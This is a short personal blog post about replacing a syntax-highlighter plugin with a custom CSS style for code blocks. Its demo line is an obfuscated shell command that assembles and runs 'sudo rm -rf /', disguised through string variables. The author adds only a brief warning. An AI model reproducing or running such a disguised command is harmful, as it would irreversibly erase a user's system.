Testing google syntax highlighter
I can not understand why my plugin for source code syntax highlight dissapeared and now all my posts where I have some code/commands as example looks very strange. So, I decided to install google syntax highlighter and now I am playing with it. I am not sure if I will keep it because is javascript based and I would like that also the visitors which have javascript disabled to be able to see source code/commands. Anyway, I will give it a try.
Update: I decided that I will not use google syntax highlighter and I wrote a few lines in CSS so here is the result (don’t try first example if you don’t understand what it does):
#s="r"; d="$s"m; f="$s"f; sudo $($d -$f /)
So, here is the code, just paste it in .css file for your theme, if you like it:
.code {
border: 1px dashed rgb(0, 0, 0);
width: 420px;
padding: 8px;
background-color: rgb(240, 255, 240);
font-family: 'courier new';
font-size: 8pt;
overflow:auto;
}
If you enjoyed this post, please consider to leave a comment or subscribe to the feed and get future articles delivered to your feed reader.














Comments
No comments yet.
Leave a comment